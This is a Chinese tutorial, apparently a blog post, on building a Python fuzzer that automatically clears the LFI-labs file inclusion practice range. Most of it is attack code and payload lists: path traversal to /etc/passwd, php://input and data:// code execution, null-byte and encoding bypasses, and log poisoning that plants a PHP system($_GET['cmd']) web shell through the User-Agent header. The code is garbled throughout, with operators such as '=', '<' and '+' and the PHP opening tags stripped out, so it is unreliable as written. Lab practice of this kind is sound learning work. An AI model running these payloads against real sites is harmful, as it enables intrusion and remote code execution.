
1. 项目概述从手动到自动的靶场通关新思路LFI-labs一个在Web安全学习圈子里耳熟能详的靶场专门用来练习本地文件包含漏洞。很多朋友包括我自己刚入门的时候都是手动一关一关去“点”去尝试各种路径穿越、日志注入、PHP伪协议。这个过程固然是学习的基础但重复性高效率低而且容易让人陷入“知其然不知其所以然”的困境——你记住了../../../../etc/passwd能读到文件但背后的过滤逻辑、绕过技巧、以及如何系统化地验证一个又一个Payload却可能被忽略了。最近在复习命令注入和文件包含这两个经典漏洞时我就在想能不能换个玩法我们每天都在说自动化测试、自动化渗透那为什么不能把这个思路用到靶场练习上呢于是就有了这个项目用Python写一个脚本来自动化通关LFI-labs。这不仅仅是为了“通关”这个结果更重要的是这个过程本身它强迫你去系统地梳理文件包含漏洞的所有常见利用方式去思考如何将人工的、经验性的测试步骤转化为逻辑严谨、步骤清晰的代码。同时在编写脚本处理HTTP请求、解析响应、判断漏洞是否存在的过程中你还会反复用到命令注入漏洞中常见的技巧比如如何拼接命令、如何绕过过滤这本身就是一次绝佳的复习。这个项目适合谁呢如果你是刚学完文件包含和命令注入理论想通过一个综合性项目来巩固知识的安全新手或者你是已经有一定基础想提升自动化工具编写能力的进阶学习者甚至你只是想找一个有趣的Python练手项目它都能满足你。整个过程你会接触到requests库处理网络请求、BeautifulSoup或正则表达式解析HTML、以及如何设计一个健壮且灵活的漏洞检测逻辑。下面我就把我的实现思路、踩过的坑以及最终的脚本核心毫无保留地分享出来。2. 核心思路与架构设计如何让脚本“聪明”地测试自动化测试脚本的核心不是蛮力爆破而是模拟一个经验丰富的安全测试人员也就是你的思考过程。对于LFI-labs这样的靶场每一关的难度递增过滤规则也在变化。我们的脚本需要具备“自适应”能力能根据当前页面的反馈动态调整测试策略。2.1 靶场环境分析与测试策略制定首先我们需要对LFI-labs靶场有一个整体的认识。通常它由一系列通过GET参数比如?page来包含文件的页面组成。每一关会对page参数的值进行不同的过滤或检查。我们的脚本目标就是针对这个参数尝试所有可能的文件包含Payload直到找到能成功读取到特定标志性内容比如下一关的链接、root:x:这样的字符串的Payload。我的测试策略分为几个层次由简到繁逐步深入基础路径遍历尝试经典的../../../etc/passwd以及其各种变体如使用绝对路径、使用更多或更少的../。日志文件注入尝试包含Web服务器的访问日志或错误日志如/var/log/apache2/access.log并通过User-Agent等HTTP头注入PHP代码。PHP伪协议利用这是文件包含的“王牌”。尝试php://filter来读取源码如convert.base64-encode尝试php://input进行代码执行尝试data://协议直接包含代码。编码与绕过针对可能的过滤如过滤../ 过滤php关键字使用URL编码、双重编码、超长路径截断在PHP旧版本中等方法进行绕过。环境变量与特殊文件尝试包含/proc/self/environ、/proc/self/fd/系列文件等。脚本的架构设计围绕一个核心的“测试引擎”展开。这个引擎负责管理测试队列、发起HTTP请求、分析响应、判断成功与否。我将其设计为一个类主要包含以下组件Target类封装目标URL如http://靶场IP/1/、漏洞参数page、当前关卡等基本信息。PayloadManager类负责生成和管理上述所有层次的测试Payload。它将Payload分类存储并可以按需加载某一类或全部Payload。Fuzzer类核心引擎这是大脑。它接收一个Target和一批Payload然后构造完整的请求URLtarget.url “?page” payload。使用requests库发送HTTP请求。这里需要特别注意处理会话Session和Cookie因为有些靶场关卡可能需要维持登录状态。分析HTTP响应。这是最关键的步骤不能仅仅看HTTP状态码是否为200。很多包含失败也会返回200但页面内容会不同。我们需要在响应HTML中寻找“成功标志”。ResponseAnalyzer类专门负责分析响应内容。定义一系列“成功检测器”例如检测到root:x:字样说明成功读取了/etc/passwd。检测到下一关的链接如a href“2/”或明确的成功提示文字。检测到通过php://filter读取到的Base64编码的源码被解码后包含?php标签。检测到通过php://input或日志注入执行的代码产生了预期输出如执行了echo ‘SUCCESS’。实操心得定义清晰、明确的“成功标志”是避免误报和漏报的关键。我一开始只检测root:x:结果在某一关包含失败但页面本身有类似字符导致了误报。后来增加了多重校验比如同时检测root:x:和daemon:x:并且检查这些字符串是否出现在一个合理的上下文如每行以用户名开头可靠性大大提升。2.2 工具选型与依赖库说明工欲善其事必先利其器。这个项目主要依赖Python的标准库和几个非常流行的第三方库安装简单功能强大。requestsHTTP库的“事实标准”。用于发送所有GET/POST请求处理Cookie、会话、超时、代理等。比原生的urllib易用太多。pip install requestsBeautifulSoup4 (bs4)HTML/XML解析库。当我们需要从复杂的HTML页面中精准提取下一关的链接、表单参数或特定的文本内容时它比正则表达式更稳健、更易读。pip install beautifulsoup4colorama可选但强烈推荐用于在终端输出彩色文字。可以让成功、失败、警告等信息一目了然极大提升脚本运行时的可读性。pip install colorama为什么选它们requests和BeautifulSoup的组合是Python网络爬虫和自动化测试的黄金搭档社区资源丰富遇到问题几乎都能找到答案。colorama则纯粹是为了提升用户体验让这个命令行工具看起来更“专业”和友好。3. 脚本核心模块实现详解有了清晰的设计我们就可以开始动手编码了。我会分模块讲解核心代码的实现并附上详细的注释和注意事项。3.1 目标与Payload管理模块首先我们定义数据模型来管理测试目标和Payload。# target.py class Target: def __init__(self, base_url, vulnerable_param“page”, current_level1): 初始化一个测试目标。 :param base_url: 靶场基础URL如 ‘http://192.168.1.100/’ :param vulnerable_param: 存在漏洞的参数名默认为 ‘page’ :param current_level: 当前关卡编号 self.base_url base_url.rstrip(‘/’) # 去除末尾可能存在的斜杠 self.vulnerable_param vulnerable_param self.current_level current_level self.session requests.Session() # 使用Session维持Cookie self.session.headers.update({ ‘User-Agent’: ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36’ }) # 设置一个常见的User-Agent避免被简单屏蔽 def get_test_url(self, payload): 根据当前关卡和Payload构造完整的测试URL。 level_url f“{self.base_url}/{self.current_level}/” return f“{level_url}?{self.vulnerable_param}{payload}”接下来是Payload管理模块。我们将Payload按类型组织在字典或列表中方便管理和扩展。# payloads.py class PayloadManager: def __init__(self): self.payloads { “traversal”: [ # 路径遍历 “../../../../etc/passwd”, “....//....//....//....//etc/passwd”, # 双重URL编码绕过的一种模拟 “/etc/passwd”, “..\\..\\..\\..\\windows\\win.ini”, # Windows路径用于拓展性 ], “php_wrappers”: [ # PHP伪协议 “php://filter/convert.base64-encode/resourceindex.php”, “php://filter/readconvert.base64-encode/resourceindex.php”, “php://input”, # 需要配合POST数据 “data://text/plain,?php echo ‘TEST’; ?”, “data://text/plain;base64,PD9waHAgZWNobyAnVEVTVCc7Pz4”, # Base64编码的?php echo ‘TEST’; ? ], “log_injection”: [ # 日志注入 “/var/log/apache2/access.log”, “/var/log/apache/access.log”, “/var/log/nginx/access.log”, “/var/www/logs/access_log”, “../../var/log/apache2/access.log”, ], “proc”: [ # /proc目录下的文件 “/proc/self/environ”, “/proc/self/fd/12”, # 需要尝试多个fd编号 ], “encoding”: [ # 编码绕过 “..%2f..%2f..%2f..%2fetc%2fpasswd”, # URL编码 “..%252f..%252f..%252f..%252fetc%252fpasswd”, # 双重URL编码 ] } def get_payloads_by_type(self, p_type): 获取指定类型的Payload列表。 return self.payloads.get(p_type, []) def get_all_payloads(self): 获取所有Payload扁平化列表。用于全面测试。 all_p [] for p_list in self.payloads.values(): all_p.extend(p_list) return all_p注意事项php://input和日志注入类Payload的使用方式比较特殊。php://input需要以POST方式发送请求并在请求体中包含要执行的PHP代码。而日志注入则需要先通过一次请求将PHP代码写入日志比如在User-Agent中携带?php system(‘id’); ?然后再去包含这个日志文件。因此在Fuzzer中我们需要对不同类型的Payload采用不同的HTTP请求方法。3.2 请求引擎与响应分析器这是脚本最核心的部分。Fuzzer类负责协调整个测试流程。# fuzzer.py import requests from bs4 import BeautifulSoup import time from colorama import init, Fore, Back, Style init(autoresetTrue) # 初始化colorama自动重置颜色 class Fuzzer: def __init__(self, target, payload_manager): self.target target self.pm payload_manager self.success_payloads [] # 记录成功的Payload def test_payload(self, payload, method“GET”, post_dataNone): 测试单个Payload。 url self.target.get_test_url(payload) try: if method “GET”: resp self.target.session.get(url, timeout5) elif method “POST”: # 对于php://input需要设置正确的Content-Type headers {‘Content-Type’: ‘application/x-www-form-urlencoded’} if ‘php://input’ in payload else None resp self.target.session.post(url, datapost_data, headersheaders, timeout5) else: print(Fore.YELLOW f“未知的HTTP方法: {method}”) return False # 调用响应分析器判断是否成功 if self._analyze_response(resp, payload): self.success_payloads.append((payload, method)) return True return False except requests.exceptions.Timeout: print(Fore.RED f“请求超时: {payload}”) return False except requests.exceptions.ConnectionError: print(Fore.RED f“连接错误请检查靶机是否运行: {url}”) return False except Exception as e: print(Fore.RED f“测试{payload}时发生未知错误: {e}”) return False def _analyze_response(self, response, payload): 分析HTTP响应判断漏洞是否利用成功。 content response.text # 检测器1是否包含/etc/passwd的经典内容 if ‘root:x:’ in content and ‘daemon:x:’ in content: # 进一步确认格式减少误报 lines [l for l in content.split(‘\n’) if ‘:x:’ in l] if len(lines) 3: # 如果找到多行符合格式的行 print(Fore.GREEN f“[] 成功Payload: {payload} - 检测到/etc/passwd内容”) return True # 检测器2是否包含明显的下一关链接适用于LFI-labs结构 soup BeautifulSoup(content, ‘html.parser’) next_link soup.find(‘a’, hreflambda x: x and ‘../’ not in x and x.startswith(str(self.target.current_level 1))) if next_link: print(Fore.GREEN f“[] 成功Payload: {payload} - 检测到下一关链接”) return True # 检测器3针对php://filter读取源码的检测 if ‘php://filter’ in payload and ‘PD9waHA’ in content: # PD9waHA 是 ?php 的base64编码 # 可以尝试解码并检查是否为PHP代码 import base64 # 这里需要从响应中提取出base64字符串可能比较复杂简化处理 print(Fore.CYAN f“[?] 可能成功读取源码Payload: {payload}。需要手动检查响应。”) # 为了自动化我们可以尝试解码一段内容 try: # 假设base64编码的内容在pre标签里或是一行纯文本 for line in content.split(‘\n’): line line.strip() if len(line) % 4 0: # Base64长度通常是4的倍数 try: decoded base64.b64decode(line).decode(‘utf-8’, errors‘ignore’) if ‘?php’ in decoded: print(Fore.GREEN f“[] 成功Payload: {payload} - 解码后确认包含PHP代码”) return True except: pass except Exception as e: pass # 检测器4检测通过代码执行输出的特定标记 if ‘TEST_SUCCESS’ in content or ‘uid’ in content: # 后者是执行id命令的结果 print(Fore.GREEN f“[] 成功Payload: {payload} - 检测到代码执行输出”) return True return False def run(self, payload_type“all”): 运行测试。 print(Fore.BLUE f“\n[*] 开始测试第 {self.target.current_level} 关...”) if payload_type “all”: test_list self.pm.get_all_payloads() else: test_list self.pm.get_payloads_by_type(payload_type) for idx, payload in enumerate(test_list, 1): print(Fore.WHITE f“[*] 尝试 ({idx}/{len(test_list)}): {payload}”) # 根据Payload类型调整请求方法 method “GET” post_data None if ‘php://input’ in payload: method “POST” post_data “?php echo ‘TEST_SUCCESS’; ?” # 注入的代码 elif ‘access.log’ in payload: # 先尝试污染日志 self._poison_log() # 污染后稍等片刻 time.sleep(1) self.test_payload(payload, method, post_data) time.sleep(0.1) # 短暂延迟避免请求过快 if self.success_payloads: print(Fore.GREEN f“\n[] 第 {self.target.current_level} 关测试完成成功Payload:”) for p, m in self.success_payloads: print(Fore.GREEN f“ - {p} (方法: {m})”) else: print(Fore.RED f“\n[-] 第 {self.target.current_level} 关未找到有效Payload。”) def _poison_log(self): 尝试污染访问日志写入PHP代码。 poison_url self.target.base_url f“/{self.target.current_level}/” headers {‘User-Agent’: “?php system($_GET[‘cmd’]); ?”} try: self.target.session.get(poison_url, headersheaders, timeout3) print(Fore.YELLOW “[*] 已尝试污染日志文件。”) except: pass3.3 主程序流程与自动化递进最后我们需要一个主程序来串联整个流程实现自动一关一关地测试下去。# main.py from target import Target from payloads import PayloadManager from fuzzer import Fuzzer import sys def main(): if len(sys.argv) 2: print(“用法: python main.py 靶场基础URL”) print(“示例: python main.py http://192.168.1.100/lfi-labs/”) sys.exit(1) base_url sys.argv[1] target Target(base_url) pm PayloadManager() # 假设靶场有10关可以自动探测结束 max_level 10 current_level 1 while current_level max_level: target.current_level current_level fuzzer Fuzzer(target, pm) # 可以先快速测试常见Payload print(Fore.BLUE “\n 开始快速测试 ) fuzzer.run(payload_type“traversal”) if not fuzzer.success_payloads: print(Fore.YELLOW “\n快速测试未成功开始全面测试...”) fuzzer.run(payload_type“all”) # 如果快速测试失败则进行全面测试 if fuzzer.success_payloads: # 找到Payload进入下一关 current_level 1 # 可以在这里将成功的Payload保存到文件或数据库供后续参考 with open(‘success_log.txt’, ‘a’) as f: f.write(f“Level {current_level-1}: {fuzzer.success_payloads[0][0]}\n”) else: print(Fore.RED f“\n[!] 第 {current_level} 关似乎无法通过。可能是最终关卡或需要特殊技巧。”) # 可以尝试一些更高级或自定义的Payload print(Fore.YELLOW “[*] 尝试一些自定义Payload...”) custom_payloads [“index.php”, “./index.php”, “/etc/hosts”] for cp in custom_payloads: if fuzzer.test_payload(cp): break # 如果还是失败询问是否继续 cont input(Fore.YELLOW “是否继续尝试下一关(y/n): “).strip().lower() if cont ‘y’: current_level 1 else: break print(Fore.CYAN “\n 自动化测试结束 ) if __name__ “__main__”: main()4. 实战演练与问题深度排查脚本写好了但在真实的靶场环境中运行绝不会一帆风顺。下面我结合实战中遇到的具体问题分享排查思路和解决方案。4.1 常见运行问题与解决方案当你第一次运行脚本时可能会遇到以下问题问题现象可能原因排查步骤与解决方案连接被拒绝 (ConnectionError)1. 靶场服务未启动。2. IP地址或端口错误。3. 本地防火墙/靶机防火墙阻止。1. 检查靶场虚拟机或容器是否已运行 (docker ps或查看虚拟机状态)。2. 用浏览器手动访问base_url确认能打开。3. 尝试ping靶机IP检查网络连通性。请求超时 (Timeout)1. 网络延迟高或不稳定。2. 靶场应用处理某些Payload时卡死。3. 脚本未设置超时或超时时间太短。1. 在requests.get()中增加timeout参数如10秒。2. 针对性地跳过已知会导致靶场无响应的Payload如某些不存在的路径。3. 使用try...except捕获超时异常并记录让脚本继续运行。所有Payload都失败1. 成功检测逻辑有误误报/漏报。2. 靶场关卡有特殊过滤Payload库未覆盖。3. 需要会话状态如登录Cookie而脚本未处理。1.这是最可能的原因手动用浏览器测试一个已知有效的Payload如第一关的../../../../etc/passwd查看成功时的页面完整源代码与脚本检测的response.text对比。调整_analyze_response中的检测规则。2. 查看靶场源码如果有或通过错误信息推测过滤规则补充新的Payload如过滤../则尝试URL编码。3. 使用浏览器开发者工具查看成功请求的Cookie在脚本的Target.session中通过session.cookies.update()手动设置。成功检测不稳定1. 检测规则过于宽泛或严格。2. 页面内容动态变化如包含随机令牌。3. 网络波动导致响应不完整。1. 优化检测器。例如检测/etc/passwd时不仅看root:x:还要看整个行的格式和多个用户的存在。2. 使用更稳定的特征如页面标题、特定标签的ID等。用BeautifulSoup进行结构化解析比纯文本匹配更可靠。3. 增加重试机制。如果检测到疑似成功但特征微弱可以对该Payload再请求1-2次确认。踩坑实录我在测试中间某一关时脚本始终报告失败。但手动测试明明可以。后来我把脚本收到的响应内容保存到文件和浏览器看到的一对比发现浏览器页面里有一个隐藏的div里面写着“成功”而脚本的检测逻辑只在找root:x:。问题就在于那一关成功包含后输出的不是/etc/passwd而是一个自定义的成功页面。所以永远不要假设成功的输出形式最好在脚本开发初期用1-2个已知成功的关卡来校准你的响应分析器。4.2 高级绕过技巧的脚本实现当基础Payload全部失效时就需要祭出更高级的绕过技巧这些同样可以通过脚本实现。1. 空字节截断PHP 5.3.4在旧版PHP中%00空字节会被认为是字符串结束符。如果代码是include($_GET[‘page’] . “.php”)那么提交../../../../etc/passwd%00拼接后变成../../../../etc/passwd%00.php%00后的.php会被忽略。# 在payloads.py的traversal列表中添加 payloads[“traversal”].append(“../../../../etc/passwd%00”) payloads[“traversal”].append(“../../../../etc/passwd%2500”) # 双重编码注意现代PHP环境已修复此漏洞但在一些老旧靶场或CTF题中可能出现。2. 路径长度截断PHP 5.3? 系统依赖在特定条件下超长的路径可能会导致被截断。这通常与操作系统和PHP配置有关成功率低但可作为最后手段。long_path “../../../../etc/passwd” “A” * 10000 payloads[“traversal”].append(long_path)3. 利用PHPfilter链构造复杂攻击php://filter不仅可以读文件多个过滤器还可以链式调用进行编码、解码、压缩等操作用于绕过某些过滤或直接执行代码。这需要更复杂的Payload构造但可以集成到脚本中。# 一个例子先base64编码再解码有时能绕过简单的关键字检查 complex_filter “php://filter/convert.base64-decode/convert.base64-encode/resourceindex.php” payloads[“php_wrappers”].append(complex_filter)4. 自动化模糊测试Fuzzing参数除了已知Payload我们还可以让脚本进行简单的模糊测试比如自动生成各种../的变体组合。def generate_traversal_fuzz(depth6): fuzz_payloads [] for i in range(1, depth1): # 生成 i 个 ../ base “../” * i fuzz_payloads.append(base “etc/passwd”) # 尝试斜杠的不同写法 fuzz_payloads.append(base.replace(‘../’, ‘..//’)) fuzz_payloads.append(base.replace(‘../’, ‘..\\’)) return fuzz_payloads # 将生成的payload加入测试列表4.3 性能优化与脚本健壮性提升当Payload数量成百上千时脚本的运行速度和稳定性就很重要了。使用多线程/异步IO这是最直接的提速方法。可以使用concurrent.futures库的ThreadPoolExecutor来并发发送请求。但务必注意线程安全和对靶场的压力设置合理的线程数如5-10个并在每个请求间添加微小延迟。from concurrent.futures import ThreadPoolExecutor, as_completed def test_payload_concurrently(payload_list): with ThreadPoolExecutor(max_workers5) as executor: future_to_payload {executor.submit(self._test_single, p): p for p in payload_list} for future in as_completed(future_to_payload): payload future_to_payload[future] try: result future.result() if result: print(Fore.GREEN f“成功: {payload}”) except Exception as e: print(Fore.RED f“测试{payload}时出错: {e}”)设置请求延迟与超时在循环中time.sleep(0.1)并使用requests的timeout参数避免脚本挂死。异常处理与日志记录如上面代码所示对所有网络请求进行try...except包装记录错误但不中断整个流程。将所有成功和失败的记录写入文件方便复盘。可配置化将靶场URL、起始关卡、线程数、超时时间、Payload文件路径等写成配置文件如config.ini或config.yaml提高脚本的灵活性。结果去重与排序成功的Payload可能有多个变体都有效。可以在最后对success_payloads进行去重和排序优先输出最简洁、最通用的那个。5. 从自动化通关到技能内化写完这个自动化脚本并成功通关LFI-labs后你的收获远不止一个工具。这个过程强迫你以攻击者的视角系统化、工程化地思考一个漏洞的利用面。你知道了文件包含不止有../还有PHP伪协议、日志、/proc你知道了检测漏洞成功不能只看状态码而要分析内容特征你知道了如何用代码处理HTTP会话、解析HTML、管理复杂的测试流程。更重要的是命令注入的复习贯穿始终。当你编写Payload、处理字符串拼接、思考如何绕过escapeshellarg()等函数时你就在实践命令注入的防御与绕过。例如在构造日志污染Payload时你可能会思考如何在User-Agent中插入不被过滤的PHP代码这和命令注入中绕过黑名单的思路是相通的。这个脚本也是一个很好的起点你可以轻松地将其改造成一个简单的、针对文件包含漏洞的自动化扫描器。只需替换掉靶场特定的成功检测逻辑如检测下一关链接改为检测/etc/passwd、PHP错误信息、或者自定义的测试字符串它就能用于对真实Web应用进行授权安全测试。最后我个人的体会是安全工具的灵魂在于使用它的人。自动化脚本能帮你完成重复劳动但无法替代你对漏洞原理的深刻理解。这个项目最大的价值正是在于**“从手动到自动”的思考过程**。当你下次再遇到文件包含漏洞时你的脑海里会自然而然地浮现出一张清晰的测试路径图而不仅仅是几个孤零零的Payload。这才是真正的技能内化。